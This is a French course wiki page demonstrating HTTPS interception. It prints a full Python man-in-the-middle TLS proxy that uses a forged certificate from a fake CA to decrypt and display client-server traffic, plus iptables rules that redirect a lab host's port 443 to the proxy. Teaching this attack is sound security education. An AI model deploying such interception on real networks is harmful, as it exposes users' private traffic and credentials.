User Tools

Site Tools


secres:https-interception

This is an old revision of the document!


Interception HTTPS

Nous allons mettre en oeuvre le mécanisme d'interception HTTPS, qui consiste à faire in Man-in-the-Middle pour déchiffre le traffic HTTPS entre le client et le serveur !

Le code et la documentation du projet sont ici : https://gitlab.inria.fr/esnard/https-interception

Démo

Considérons le réseau suivant :

Client Web <-----> Proxy <--- (...) --> Server Web (https://nile.metal.fr)
sslproxy.py
#!/usr/bin/python3
import socket
import ssl
import sys
import OpenSSL
import time
import datetime
import os
 
BUFSIZE = 4096
 
# this certificate must be trusted by the client victim!
FAKE_CA_CERT = "fake-ca-cert.pem"          
FAKE_CA_KEY = "fake-ca-key.pem"
 
# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
FAKE_SERVER_CERT = "fake-server-cert.pem"
FAKE_SERVER_KEY = "fake-server-key.pem"
 
# actual CA certificate
CA_CERT = "ca-cert.pem"
 
######### MISC #########
 
def log_message(format, *args):
    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))
 
######### Main Serve Routine  #########
 
# handle one connection
def serve(clientconn, clientaddr, serveraddr):
    (serverhost, serverport) = serveraddr       # the actual server
    (clienthost, clientport) = clientaddr       # the actual client
 
    # wrap client connection with SSL context
    clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, keyfile=FAKE_SERVER_KEY)
    clientconnssl = clientcontext.wrap_socket(clientconn, server_side=True)
 
    # connect to server with SSL context
    serverconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servercontext = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    servercontext.load_verify_locations(CA_CERT)                                 # should be in the store...    
    servercontext.check_hostname = True
    serverconnssl = servercontext.wrap_socket(serverconn, server_side=False, server_hostname=serverhost)
 
    try:
        serverconnssl.connect(serveraddr)
    except ssl.SSLError as e:
        log_message("%s", e)
        clientconnssl.close()
        return
 
    # start talking in SSL/TLS
    sys.stdout.write("~~~~~ REQUEST ~~~~~\n")
    buffer = clientconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    serverconnssl.sendall(buffer)
    sys.stdout.write("~~~~~ ANSWER ~~~~~\n")
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)
 
    # close sockets
    serverconnssl.close()
    clientconnssl.close()
    log_message('all connections closed')
 
######### Main Loop #########
 
def main():
 
    if len(sys.argv) != 4:
        sys.stderr.write("usage: sslproxy <server hostname> <server port> <proxy port>\n")
        sys.exit(1)
 
    SERVERHOST = sys.argv[1]
    SERVERPORT = int(sys.argv[2])
    PROXYHOST = ''
    PROXYPORT = int(sys.argv[3])
 
    proxyaddr = (PROXYHOST, PROXYPORT)
    serveraddr = (SERVERHOST, SERVERPORT) # the target server
 
    # create proxy socket listening on PROXYPORT
    proxysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxysocket.bind(proxyaddr)
    proxysocket.listen()
 
    # main loop
    log_message('proxy listening on port: %d', PROXYPORT)
    log_message('target server: %s', serveraddr)
 
    while True:
        try:
            log_message("waiting new connection...")
            clientconn, clientaddr = proxysocket.accept()
            serve(clientconn, clientaddr, serveraddr)
        except KeyboardInterrupt:
            log_message("shutting down!")
            proxysocket.close()
            break
 
######### Main Program  #########
 
main()

Lancement du proxy :

iptables -t nat -F
iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444
./sslproxy.py nile.metal.fr 443 4444

Lancement du client :

wget https://nile.metal.fr

Documentation

secres/https-interception.1511535888.txt.gz · Last modified: 2024/03/18 15:05 (external edit)